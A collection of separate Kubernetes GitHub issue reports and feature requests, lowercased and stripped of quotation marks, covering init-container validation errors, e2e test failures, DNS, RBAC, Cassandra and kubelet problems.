replicaset \ nginx\  is invalid: spec.template.spec.initcontainers 0 .imagepullpolicy: required value\r    \r \r    \r the replicationcontroller \ nginx\  is invalid: spec.template.spec.initcontainers 0 .imagepullpolicy: required value\r    \r \r   what you expected to happen  :\r \r the create should succeed and the init container should receive a default  imagepullpolicy .\r \r   how to reproduce it    as minimally and precisely as possible :\r \r try to create either of the following:\r \r   replicaset  \r \r    yaml\r apiversion: extensions/v1beta1\r kind: replicaset\r metadata:\r   name: nginx\r spec:\r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: nginx\r       annotations:\r         pod.beta.kubernetes.io/init-containers: ' \r             {\r                 \ name\ : \ install\ ,\r                 \ image\ : \ busybox\ ,\r                 \ command\ :  \ wget\ , \ -o\ , \ /work-dir/index.html\ , \ http://kubernetes.io/index.html\  ,\r                 \ volumemounts\ :  \r                     {\r                         \ name\ : \ workdir\ ,\r                         \ mountpath\ : \ /work-dir\ \r                     }\r                  \r             }\r          '\r     spec:\r       containers:\r       - name: nginx\r         image: nginx\r         ports:\r         - containerport: 80\r         volumemounts:\r         - name: workdir\r           mountpath: /usr/share/nginx/html\r       dnspolicy: default\r       volumes:\r       - name: workdir\r         emptydir: {}\r    \r \r   replication controller  \r \r    yaml\r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: nginx\r spec:\r   replicas: 3\r   selector:\r     app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r       annotations:\r         pod.beta.kubernetes.io/init-containers: ' \r             {\r                 \ name\ : \ install\ ,\r                 \ image\ : \ busybox\ ,\r                 \ command\ :  \ wget\ , \ -o\ , \ /work-dir/index.html\ , \ http://kubernetes.io/index.html\  ,\r                 \ volumemounts\ :  \r                     {\r                         \ name\ : \ workdir\ ,\r                         \ mountpath\ : \ /work-dir\ \r                     }\r                  \r             }\r          '\r     spec:\r       containers:\r       - name: nginx\r         image: nginx\r         ports:\r         - containerport: 80\r         volumemounts:\r         - name: workdir\r           mountpath: /usr/share/nginx/html\r       dnspolicy: default\r       volumes:\r       - name: workdir\r         emptydir: {}\r    \r \r   anything else do we need to know  :\r \r if i add  \ imagepullpolicy\ : \ ifnotpresent\ ,  to the init container in the replicaset or replication controller pod template, the create succeeds.\r \r when i create an init container without  imagepullpolicy  in a statefulset pod template, it succeeds.\r \r when i create an init container without  imagepullpolicy  in a bare pod, it succeeds:\r \r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r   annotations:\r     pod.beta.kubernetes.io/init-containers: ' \r         {\r             \ name\ : \ install\ ,\r             \ image\ : \ busybox\ ,\r             \ command\ :  \ wget\ , \ -o\ , \ /work-dir/index.html\ , \ http://kubernetes.io/index.html\  ,\r             \ volumemounts\ :  \r                 {\r                     \ name\ : \ workdir\ ,\r                     \ mountpath\ : \ /work-dir\ \r                 }\r              \r         }\r      '\r spec:\r   containers:\r   - name: nginx\r     image: nginx\r     ports:\r     - containerport: 80\r     volumemounts:\r     - name: workdir\r       mountpath: /usr/share/nginx/html\r   dnspolicy: default\r   volumes:\r   - name: workdir\r     emptydir: {}\r

this a feature request  :\r \r there have been a series of requests over the years to either \ offload\ , or modify events, e.g. changing ttls etc. \r \r the purpose of this issue is vet a very simple idea of creating a simple shunt, perhaps a webhook, around events such that it can be piped into a different system.  \r \r /cc @brendandburns @kubernetes/sig-api-machinery-misc @jbeda @fgrzadkowski @kubernetes/sig-scalability-misc

http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial-release-1.6/3\r \r failed:  k8s.io  daemon set  serial  should not update pod when spec was updated and update strategy is on delete\r    \r error waiting for daemon pod to start\r expected error:\r     < errors.errorstring | 0xc4203a2600>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:246\r    \r \r

noticed that service controller is not running in our federation kubectl tests. it crashes since no dns-zone is provided.\r \r i fixed that but it still crashes for dns-provider. i tried coredns but could not get that to work.\r will wait for documentation from @shashidharatd. filing this to track it.\r \r the error i got was: \r    \r cloud provider could not be initialized: could not init dns provider \ coredns\ : need to provide at least one dns zone\r    \r i verified that i am passing --zone-name. no dns-provider-config tough.\r \r cc @kubernetes/sig-federation-bugs

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : aws, dns, rds\r \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.4.4\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : debian 8\r -   kernel    e.g.  uname -a  : 3.16.0-4-amd64  1 smp debian 3.16.36-1+deb8u2  2016-10-19  x86_64 gnu/linux\r -   install tools  : kubedns and other standard tools\r -   others  :\r \r \r   what happened  : \r whenever a new pod comes up the service is not able to resolve dns and fails connecting to other aws services like rds. usual suspects like security group rules etc to rds are all in place and can be ruled out. we then terminate the pod and launch a new one - the new pod too makes multiple connection attempts before finally being able to connect to rds. please take a look at the log below, captured during one of these failures. \r \r ! 2017-03-28  https://cloud.githubusercontent.com/assets/12628600/24405897/165e6f54-13e4-11e7-81d5-4cffd533cefd.png \r \r \r   what you expected to happen  :\r that the new pod comes up and services are able to connect to rds without failing due to dns resolution. \r \r   how to reproduce it    as minimally and precisely as possible :\r we haven't noticed a specific way to reproduce this. this happens sporadically in our environment bringing services down. \r \r   anything else we need to know  :\r \r

what keywords did you search in kubernetes issues before filing this one?   cassandra\r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , \r builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gke 1.6.4\r -   os    e.g. from /etc/os-release : cos\r -   kernel    e.g.  uname -a  : linux gke-guestbook-default-pool-38a0d458-0gjw 4.4.35+  1 smp wed apr 5 13:00:57 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r -   install tools  : gke\r -   others  :\r \r   what happened  :\r tried to deploy cassandra daemon set example:\r  kubectl create -f  https://raw.githubusercontent.com/kubernetes/kubernetes/master/examples/storage/cassandra/cassandra-daemonset.yaml \r \r   what you expected to happen  :\r cassandra starts on every node.\r \r   how to reproduce it    as minimally and precisely as possible :\r  kubectl create -f  https://raw.githubusercontent.com/kubernetes/kubernetes/master/examples/storage/cassandra/cassandra-daemonset.yaml \r \r   anything else we need to know  :\r  kubectl  logs -f cassandra-t531v \r \r    \r starting cassandra on 10.0.5.4\r cassandra_conf_dir /etc/cassandra\r cassandra_cfg /etc/cassandra/cassandra.yaml\r cassandra_auto_bootstrap true\r cassandra_broadcast_address 10.0.5.4\r cassandra_broadcast_rpc_address 10.0.5.4\r cassandra_cluster_name 'test cluster'\r cassandra_compaction_throughput_mb_per_sec\r cassandra_concurrent_compactors\r cassandra_concurrent_reads\r cassandra_concurrent_writes\r cassandra_counter_cache_size_in_mb\r cassandra_dc\r cassandra_disk_optimization_strategy ssd\r cassandra_endpoint_snitch simplesnitch\r cassandra_gc_warn_threshold_in_ms\r cassandra_internode_compression\r cassandra_key_cache_size_in_mb\r cassandra_listen_address 10.0.5.4\r cassandra_listen_interface\r cassandra_memtable_allocation_type\r cassandra_memtable_cleanup_threshold\r cassandra_memtable_flush_writers\r cassandra_migration_wait 1\r cassandra_num_tokens 32\r cassandra_rack\r cassandra_ring_delay 30000\r cassandra_rpc_address 0.0.0.0\r cassandra_rpc_interface\r cassandra_seeds cassandra-t531v\r cassandra_seed_provider io.k8s.cassandra.kubernetesseedprovider\r changed ownership of '/etc/cassandra/cassandra-env.sh' from root to cassandra\r changed ownership of '/etc/cassandra/cassandra.yaml' from root to cassandra\r changed ownership of '/etc/cassandra/jvm.options' from root to cassandra\r changed ownership of '/etc/cassandra/logback.xml' from root to cassandra\r changed ownership of '/etc/cassandra' from root to cassandra\r openjdk 64-bit server vm warning: cannot open file /usr/local/apache-cassandra-3.9/logs/gc.log due to no such file or directory\r \r info  22:52:14 configuration location: file:/etc/cassandra/cassandra.yaml\r info  22:52:15 node configuration: allocate_tokens_for_keyspace=null; authenticator=allowallauthenticator; authorizer=allowallauthorizer; auto_bootstrap=true; auto_snapshot=true; batch_size_fail_threshold_in_kb=50; batch_size_warn_threshold_in_kb=5; batchlog_replay_throttle_in_kb=1024; broadcast_address=10.0.5.4; broadcast_rpc_address=10.0.5.4; buffer_pool_use_heap_if_exhausted=true; cas_contention_timeout_in_ms=1000; cdc_enabled=false; cdc_free_space_check_interval_ms=250; cdc_raw_directory=null; cdc_total_space_in_mb=null; client_encryption_options=<redacted>; cluster_name=test cluster; column_index_cache_size_in_kb=2; column_index_size_in_kb=64; commit_failure_policy=stop; commitlog_compression=null; commitlog_directory=/cassandra_data/commitlog; commitlog_max_compression_buffers_in_pool=3; commitlog_periodic_queue_size=-1; commitlog_segment_size_in_mb=32; commitlog_sync=periodic; commitlog_sync_batch_window_in_ms=null; commitlog_sync_period_in_ms=10000; commitlog_total_space_in_mb=null; compaction_large_partition_warning_threshold_mb=100; compaction_throughput_mb_per_sec=16; concurrent_compactors=null; concurrent_counter_writes=32; concurrent_materialized_view_writes=32; concurrent_reads=32; concurrent_replicates=null; concurrent_writes=32; counter_cache_keys_to_save=2147483647; counter_cache_save_period=7200; counter_cache_size_in_mb=null; counter_write_request_timeout_in_ms=5000; credentials_cache_max_entries=1000; credentials_update_interval_in_ms=-1; credentials_validity_in_ms=2000; cross_node_timeout=false; data_file_directories= ljava.lang.string;@11dc3715; disk_access_mode=auto; disk_failure_policy=stop; disk_optimization_estimate_percentile=0.95; disk_optimization_page_cross_chance=0.1; disk_optimization_strategy=ssd; dynamic_snitch=true; dynamic_snitch_badness_threshold=0.1; dynamic_snitch_reset_interval_in_ms=600000; dynamic_snitch_update_interval_in_ms=100; enable_scripted_user_defined_functions=false; enable_user_defined_functions=false; enable_user_defined_functions_threads=true; encryption_options=null; endpoint_snitch=simplesnitch; file_cache_size_in_mb=null; gc_log_threshold_in_ms=200; gc_warn_threshold_in_ms=1000; hinted_handoff_disabled_datacenters=  ; hinted_handoff_enabled=true; hinted_handoff_throttle_in_kb=1024; hints_compression=null; hints_directory=/cassandra_data/hints; hints_flush_period_in_ms=10000; incremental_backups=false; index_interval=null; index_summary_capacity_in_mb=null; index_summary_resize_interval_in_minutes=60; initial_token=null; inter_dc_stream_throughput_outbound_megabits_per_sec=200; inter_dc_tcp_nodelay=false; internode_authenticator=null; internode_compression=all; internode_recv_buff_size_in_bytes=null; internode_send_buff_size_in_bytes=null; key_cache_keys_to_save=2147483647; key_cache_save_period=14400; key_cache_size_in_mb=null; listen_address=10.0.5.4; listen_interface=null; listen_interface_prefer_ipv6=false; listen_on_broadcast_address=false; max_hint_window_in_ms=10800000; max_hints_delivery_threads=2; max_hints_file_size_in_mb=128; max_mutation_size_in_kb=null; max_streaming_retries=3; max_value_size_in_mb=256; memtable_allocation_type=heap_buffers; memtable_cleanup_threshold=null; memtable_flush_writers=1; memtable_heap_space_in_mb=null; memtable_offheap_space_in_mb=null; min_free_space_per_drive_in_mb=50; native_transport_max_concurrent_connections=-1; native_transport_max_concurrent_connections_per_ip=-1; native_transport_max_frame_size_in_mb=256; native_transport_max_threads=128; native_transport_port=9042; native_transport_port_ssl=null; num_tokens=32; otc_coalescing_strategy=timehorizon; otc_coalescing_window_us=200; partitioner=org.apache.cassandra.dht.murmur3partitioner; permissions_cache_max_entries=1000; permissions_update_interval_in_ms=-1; permissions_validity_in_ms=2000; phi_convict_threshold=8.0; prepared_statements_cache_size_mb=null; range_request_timeout_in_ms=10000; read_request_timeout_in_ms=5000; request_scheduler=org.apache.cassandra.scheduler.noscheduler; request_scheduler_id=null; request_scheduler_options=null; request_timeout_in_ms=10000; role_manager=cassandrarolemanager; roles_cache_max_entries=1000; roles_update_interval_in_ms=-1; roles_validity_in_ms=2000; row_cache_class_name=org.apache.cassandra.cache.ohcprovider; row_cache_keys_to_save=2147483647; row_cache_save_period=0; row_cache_size_in_mb=0; rpc_address=0.0.0.0; rpc_interface=null; rpc_interface_prefer_ipv6=false; rpc_keepalive=true; rpc_listen_backlog=50; rpc_max_threads=2147483647; rpc_min_threads=16; rpc_port=9160; rpc_recv_buff_size_in_bytes=null; rpc_send_buff_size_in_bytes=null; rpc_server_type=sync; saved_caches_directory=/cassandra_data/saved_caches; seed_provider=io.k8s.cassandra.kubernetesseedprovider{seeds=cassandra-t531v}; server_encryption_options=<redacted>; snapshot_before_compaction=false; ssl_storage_port=7001; sstable_preemptive_open_interval_in_mb=50; start_native_transport=true; start_rpc=false; storage_port=7000; stream_throughput_outbound_megabits_per_sec=200; streaming_socket_timeout_in_ms=86400000; thrift_framed_transport_size_in_mb=15; thrift_max_message_length_in_mb=16; thrift_prepared_statements_cache_size_mb=null; tombstone_failure_threshold=100000; tombstone_warn_threshold=1000; tracetype_query_ttl=86400; tracetype_repair_ttl=604800; transparent_data_encryption_options=org.apache.cassandra.config.transparentdataencryptionoptions@69930714; trickle_fsync=false; trickle_fsync_interval_in_kb=10240; truncate_request_timeout_in_ms=60000; unlogged_batch_across_partitions_warn_threshold=10; user_defined_function_fail_timeout=1500; user_defined_function_warn_timeout=500; user_function_timeout_policy=die; windows_timer_interval=1; write_request_timeout_in_ms=2000 \r info  22:52:15 diskaccessmode 'auto' determined to be mmap, indexaccessmode is mmap\r info  22:52:15 global memtable on-heap threshold is enabled at 128mb\r info  22:52:15 global memtable off-heap threshold is enabled at 128mb\r exception  org.apache.cassandra.exceptions.configurationexception  encountered during startup: io.k8s.cassandra.kubernetesseedprovider\r fatal configuration error; unable to start server.  see log for stacktrace.\r org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider\r fatal configuration error; unable to start server.  see log for stacktrace.\r         at org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782 \r         at org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125 \r         at org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576 \r         at org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730 \r error 22:52:15 exception encountered during startup\r org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider\r fatal configuration error; unable to start server.  see log for stacktrace.\r         at org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782  ~ apache-cassandra-3.9.jar:3.9 \r         at org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125  ~ apache-cassandra-3.9.jar:3.9 \r         at org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576   apache-cassandra-3.9.jar:3.9 \r         at org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9 \r

failure cluster  45a4f0cb2391a90c0dbe  https://go.k8s.io/triage 45a4f0cb2391a90c0dbe        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --kubectl-path=../../../../kubernetes_skew/cluster/kubectl.sh --minstartuppods=8 --report-dir=/workspace/_artifacts: exit status 1           failure cluster statistics: 1 tests failed,    18 jobs failed,    127 builds failed. failure stats cover 1 day time range '28 jul 2017 06:29 utc' to '29 jul 2017 06:29 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 18 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-gci-1-5-cvm-1-7-upgrade-cluster | 12 |  29 jul 2017 05:12 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-cvm-1-7-upgrade-cluster/411  | | ci-kubernetes-e2e-gce-1-6-1-7-upgrade-cluster | 12 |  29 jul 2017 05:27 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-upgrade-cluster/389  | | ci-kubernetes-e2e-gke-cvm-1-5-gci-1-7-upgrade-cluster | 12 |  29 jul 2017 04:42 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-gci-1-7-upgrade-cluster/404  |   current status  https://go.k8s.io/triage 45a4f0cb2391a90c0dbe

currently, docker create the host directory if the host path does not exist.\r \r for host path, kubelet doesn't check the host directory existence, and pass the mount to docker directly. @msau42 \r \r given so, we should:\r 1  either clearly define the expectation in cri;\r 2  or create the host directory ourselves when it doesn't exist.\r \r /cc @yujuhong @feiskyer

   \r  i meet the error info \r  dec 20 10:55:44 psd013 kubelet 111115 : i1220 10:55:44.638915  111115 kubelet_pods.go:1698  orphaned pod \ 0645b17f-da20-11e7-ba86-005056a23aab\  found, but volumes not yet removed.  reducing cpu to minimum \r \r sometimes when will this info occur?\r \r after i restart the kubelet , the info become like  orphaned pod \ 68da08da-e48c-11e7-9c6c-005056a23aab\  found, but volumes are not cleaned up \r \r and how can i avoid these error info? thanks \r \r

is this a bug report or feature request?  : \r \r  \r \r   what happened  :\r i want to analyze at tcp usage of containers using cadvisor. i hit the kubelet metrics endpoint, the metrics were all zeroed out. looks like this commit disables them without any explanation as to why:\r https://github.com/kubernetes/kubernetes/commit/d269775929f176cf7b5804e1ebcb8d5e85a675ce\r why were tcp metrics disabled?  also same question for why udp metrics were disbaled . can they be turned on with some kind of flag?\r   what you expected to happen  :\r see metrics on the kubelet metrics endpoint. \r   how to reproduce it  as minimally and precisely as possible   :\r just hit the metrics endpoint on kubelet\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu xenial\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

@kubernetes/sig-node-bugs \r \r    \r fail: //pkg/kubelet/pleg:go_default_test  see /usr/local/google/home/fejta/.cache/bazel/_bazel_fejta/631ceaac9e4091781154c1030ef08d3e/execroot/__main__/bazel-out/k8-fastbuild/testlogs/pkg/kubelet/pleg/go_default_test/test_attempts/attempt_1.log \r \r flaky: //pkg/kubelet/pleg:go_default_test  summary \r       /usr/local/google/home/fejta/.cache/bazel/_bazel_fejta/631ceaac9e4091781154c1030ef08d3e/execroot/__main__/bazel-out/k8-fastbuild/testlogs/pkg/kubelet/pleg/go_default_test/test.log\r       /usr/local/google/home/fejta/.cache/bazel/_bazel_fejta/631ceaac9e4091781154c1030ef08d3e/execroot/__main__/bazel-out/k8-fastbuild/testlogs/pkg/kubelet/pleg/go_default_test/test_attempts/attempt_1.log\r info: from testing //pkg/kubelet/pleg:go_default_test:\r ==================== test output for //pkg/kubelet/pleg:go_default_test:\r e0424 06:42:20.674764      18 generic.go:274  event channel is full, discard this relist   cycle event\r --- fail: testeventchannelfull  0.00s \r     generic_test.go:97: actual events differ from the expected; diff:\r           {\ id\ :\ 1234\ ,\ type\ :\ containerremoved\ ,\ data\ :\ c1\ },{\ id\ :\ 1234\ ,\ type\ :\ containerdied\ ,\ data\ :\ c2\ },{\ id\ :\ \r         \r         a: 1234\ ,\ type\ :\ containerstarted\ ,\ data\ :\ c3\ },{\ id\ :\ 4567\ ,\ type\ :\ containerremoved\ ,\ data\ :\ c1\ } \r         \r         b: 4567\ ,\ type\ :\ containerremoved\ ,\ data\ :\ c1\ },{\ id\ :\ 4567\ ,\ type\ :\ containerstarted\ ,\ data\ :\ c4\ } \r         \r fail\r

if, for example, i leave 'spec' out entirely, i get an error about a field of spec, but not about spec itself.  i think that would be a better error.      $ k create -f /tmp/y error from server: pod \ kube-dns-v1-kbs64\  is invalid: spec.containers: required value

docs in this repo get moved around for various reasons. our docs update script should understand such moves and update all references to that doc with the new path.

for 1.3, we'd like to do some more interesting things with authorization  like actually checking authz . right now  by default  we authenticate users against known_tokens.csv or against the cluster-ca, and then allowall after that. trying to add an authorization scheme on top of that is futile because union allowall, x  = allowall.  if we switch to using abac by default  with a generated abac file , it should be no-op functionally, but will let us get some soak time on authz plugins.  @ericchiang @liggitt @erictune @kubernetes/sig-auth   thoughts?

forked from  24260 and other issues.  we need to organize the examples by category: - monitoring - logging - storage - database - multi-tier - paas   ...  cc @kubernetes/examples

networkpolicy is due to go ga any release now.  we don't yet have an answer for it on gce or gke.  we probably should find an answer.  thoughts?  @roberthbailey @fabioy @alex-mohr   @aronchick @bowei @freehan @mrhohn @bprashanth

creating follow up issue for https://github.com/kubernetes/kubernetes/pull/33080 issuecomment-249038736  create subresources for psp usability items:  \ use\  subresource on the podsecuritypolicy object that returns 200 if you are authorized to use that psp, and 403 if you are not.  \ match\  subresource on a podsecuritypolicy object that takes a pod and returns 200, plus a json message that says \ match: true\  or \ match: false\ .

it would be nice to have a  --flatten  option for  configmap create  that would allow  --from-file  to write to the root of data. keys repeated in later files would overwrite previous values. \r \r so building on  configmap user-guide  http://kubernetes.io/docs/user-guide/configmap/  example;\r \r adding  --flatten  option: \r    sh\r $ kubectl create configmap game-config-4 --flatten --from-file=docs/user-guide/configmap/kubectl/game.properties --from-file=docs/user-guide/configmap/kubectl/ui.properties\r    \r \r would result in this:\r    sh\r $ kubectl get configmaps game-config-4 -o yaml\r    \r    yaml\r apiversion: v1\r data:\r   enemies=aliens\r   lives=3\r   enemies.cheat=true\r   enemies.cheat.level=nogoodrotten\r   secret.code.passphrase=uuddlrlrbabas\r   secret.code.allowed=true\r   secret.code.lives=30\r   color.good=purple\r   color.bad=yellow\r   allow.textmode=true\r   how.nice.to.look=fairlynice\r kind: configmap\r metadata:\r   creationtimestamp: 2016-02-18t19:52:05z\r   name: game-config-4\r   namespace: default\r   resourceversion: \ 578\ \r   selflink: /api/v1/namespaces/default/configmaps/game-config-4\r   uid: b4952dc3-d670-11e5-8cd0-68f728db1985\r    \r \r when  --flatten  option is provided and  --from-file  points to a directory, keys are written to root data and keys repeated in subsequent files would overwrite previous values.

kubefed init  deploys a new federation control plane and prints a success message that says  federation api server is running at: 1.2.3.4  as soon as all the operations it is expected to perform is successful. it doesn't really check if the api server is actually up and running. we need to verify that the api server is running before printing this message. \r \r cc @kubernetes/sig-cluster-federation @nikhiljindal @irfanurrehman @shashidharatd \r

the test   k8s.io  dynamic provisioning  k8s.io  dynamicprovisioner external should let an external dynamic provisioner create and delete persistent volumes  slow   volume    began failing  https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-slow  in gke between  2017-03-09 18:16 pst  and  2017-03-09 19:03 pst .\r \r the non-gke version of this test is still green indicating there is a change on the gke side that caused this.\r \r the tests fails with:\r    \r i0310 02:30:15.633   beforeeach   k8s.io  dynamic provisioning\r i0310 02:30:15.633    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:105\r i0310 02:30:15.633   it  should let an external dynamic provisioner create and delete persistent volumes  slow   volume \r i0310 02:30:15.633    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:283\r i0310 02:30:15.633  error binding clusterrole/system:persistent-volume-provisioner for \ e2e-tests-volume-provisioning-sh7h4\  for  {serviceaccount  default e2e-tests-volume-provisioning-sh7h4} \r    \r \r @msau42 is helping investigate.\r \r cc @calebamiles @pwittrock @kubernetes/sig-storage-bugs

\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.3\ , gitcommit:\ 5802799e56c7fcd1638e5848a13c5f3b0b1479ab\ , gittreestate:\ clean\ , builddate:\ 2017-04-24t09:32:46z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.3\ , gitcommit:\ 5802799e56c7fcd1638e5848a13c5f3b0b1479ab\ , gittreestate:\ clean\ , builddate:\ 2017-04-24t09:34:47z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :hardware configuration\r -   os    e.g. from /etc/os-release :centos7.2\r -   kernel    e.g.  uname -a  :linux cxxtest 3.10.0-229.el7.x86_64  1 smp fri mar 6 11:36:42 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r i start kubernetes with rbac:\r nohup kube-apiserver --logtostderr=true --v=0 \\\r                --etcd-servers=http://10.211.55.3:2379 \\\r                --insecure-bind-address=0.0.0.0 \\\r                --bind-address=0.0.0.0 \\\r                --allow_privileged=true --service-cluster-ip-range=10.10.0.0/16 \\\r                --admission-control=namespacelifecycle,namespaceexists,limitranger,securitycontextdeny,resourcequota,serviceaccount \\\r                --log-dir=/var/log/kubernetes  \\\r                --tls-cert-file=/root/ssl/server.pem \\\r                --tls-private-key-file=/root/ssl/server-key.pem \\\r                --service-account-key-file=/root/ssl/server-key.pem \\\r                --client-ca-file=/root/ssl/ca.pem \\\r                --authorization-mode=rbac > /var/log/kubernetes/apiserver 2>&1 &\r \r nohup kube-controller-manager --logtostderr=true --v=0 \\\r                         --address=10.211.55.3 --cluster-name=cxx \\\r                         --log-dir=/var/log/kubernetes \\\r                         --service_account_private_key_file=/root/ssl/server-key.pem \\\r                         --root-ca-file=/root/ssl/ca.pem \\\r                         --master=https://10.211.55.3:6443 \\\r                         --kubeconfig=/root/ssl/kubeconfig > /var/log/kubernetes/controller-manager 2>&1 &\r \r nohup kube-scheduler --logtostderr=true \\\r                      --v=0 \\\r                      --master=https://10.211.55.3:6443 \\\r                      --address=10.211.55.3 \\\r                      --kubeconfig=/root/ssl/kubeconfig > /var/log/kubernetes/kube-scheduler 2>&1  &\r \r nohup kubelet --logtostderr=true --v=0 \\\r         --api-servers=https://10.211.55.3:6443 \\\r         --address=10.211.55.3 \\\r         --hostname-override=10.211.55.3 \\\r         --allow_privileged=true \\\r         --pod-infra-container-image=pod-infrastructure:0.1 \\\r         --enable-server=true \\\r         --cluster_dns=10.10.10.10 --cluster_domain=cxx.com \\\r         --kubeconfig=/root/ssl/kubeconfig > /var/log/kubernetes/kubelet 2>&1 &\r \r nohup kube-proxy --logtostderr=true --v=0 \\\r                  --master=https://10.211.55.3:6443 \\\r                  --kubeconfig=/root/ssl/kubeconfig  > /var/log/kubernetes/proxy 2>&1  &\r \r   what you expected to happen  :\r i want to get pod list,but get:\r  root@cxxtest ~   kubectl get pod\r error from server  forbidden : user \ cxxtest\  cannot list pods in the namespace \ default\ .  get pods \r \r how can i change my clusterrole to admin or something wrong opeartion? \r \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ nsenter\ \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.3\r \r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : xenial\r -   kernel    e.g.  uname -a  : latest xenial stable\r -   install tools  : acs-engine\r -   others  : n/a\r \r \r   what happened  : seeing lots of these in kubelet logs:\r \r  jun 15 21:51:52 k8s-agentpool1-79924091-2 docker 1565 : w0615 21:51:52.718090    1638 docker_sandbox.go:263  networkplugin kubenet failed on the status hook for pod \ nginx-306052057-7sw2h_namespace-32022\ : unexpected command output nsenter: cannot open : no such file or directory \r \r   what you expected to happen  : not see those warnings.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r boot a cluster with  kubeadm   kubeadm uses hyperkube as well, i've confirmed on my home cluster that these same warnings appear . i think the exact line is different since kubeadm uses cni  in my case, i was using calico .\r \r   anything else we need to know  :\r \r cc: @luxas\r \r ---\r \r do we want to just install nsenter? or whatever deb package provides it in hyperkube? if so, i can send a pr for it. thanks.

